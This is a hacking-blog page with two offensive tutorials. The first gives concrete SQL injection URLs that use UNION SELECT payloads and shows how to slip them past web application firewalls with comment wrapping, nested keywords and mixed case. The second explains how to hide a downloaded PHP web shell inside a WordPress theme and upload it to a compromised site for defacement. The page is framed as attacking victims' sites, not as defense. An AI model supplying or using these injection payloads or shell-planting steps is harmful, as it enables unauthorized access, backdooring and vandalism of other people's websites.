How to bypass http forbidden & http not acceptable in sql injection

SQL WAF :- SQL ” WAF ” is a Web Application Firewall which protects the site from malicious scripts injected by the hacker to the victims site. It don’t allow scripts to execute and shows the Error ” HTTP FORBIDDEN ” & ” HTTP NOT ACCEPTABLE ” .

So today we will learn how to bypass WAF :-

BY adding special characters to the query

Normal query :- www.vulnerable-site.com/index.php?id=-12 UNION SELECT ALL 1,2,3,4,5–

Bypass query :- www.vulnerable-site.com/index.php?id=-12 /*!UNION*/ +/*!ALL*/+/*!SELECT*/+1,2,3,4,5—

Second way to bypass it :-

By adding Capital letters at first and last :-

Normal query :- www.vulnerable-site.com/index.php?id=-12 UNION SELECT ALL 1,2,3,4,5–

Bypass query :- www.vulnerable-site.com/index.php?id=-12 UNIunionON SEselectLECT 1,2,3,4,5–

Third Way to bypass it :-

BY making the query Capital + small letters combination :-

Normal Query :- www.vulnerable-site.com/index.php?id=-12 UNION SELECT ALL 1,2,3,4,5–

Bypass query :- http://vulnerablesite.com/detail.php?id=-1 uNiOn SeLeCt 1,2,3,4,5—

Hope you have love the tutorial How to bypass WAF

Read More

UPLOADING SHELL IN WORDPRESS

WordPress :- It is a free website building site and used by the most bloggers. It has many features and plugins. It is quite easy to use.
There are many vulnerabilities and exploits for hacking WordPress sites but mine favorite method is Symlink .When you got the access to the wordpress site. You think how to deface it.. and how to upload shell in the wordpress site.
So here’s the easy way to upload shell in the WordPress sites.

Things you require

• Shell
• WordPress site
• Theme ( Any wordpress theme http://www.freewordpressthemes4u.com/ )
• Sharp Brain

Download shell from http://sh3ll.org/ ( any php shell ) .
After downloading any theme. It will be in .rar format open it and paste your shell in the theme. ( You can simply drag & drop the shell in the theme when it is open in the win rar ).
So lets start the Hacking

• First of all login to the site and go to the Appearance column in the left.

• Now go to the Themes and click on Install themes

• After that Click on Upload. Select the your theme. ( Uploaded shell theme ) and upload the theme.

Now shell has been uploaded in the site with the Theme.
Your shell link will be www.site.com/wp-content/themes/themename/shellname.php .
Hope this tutorial will be helpful for you and don’t forget to share it

Read More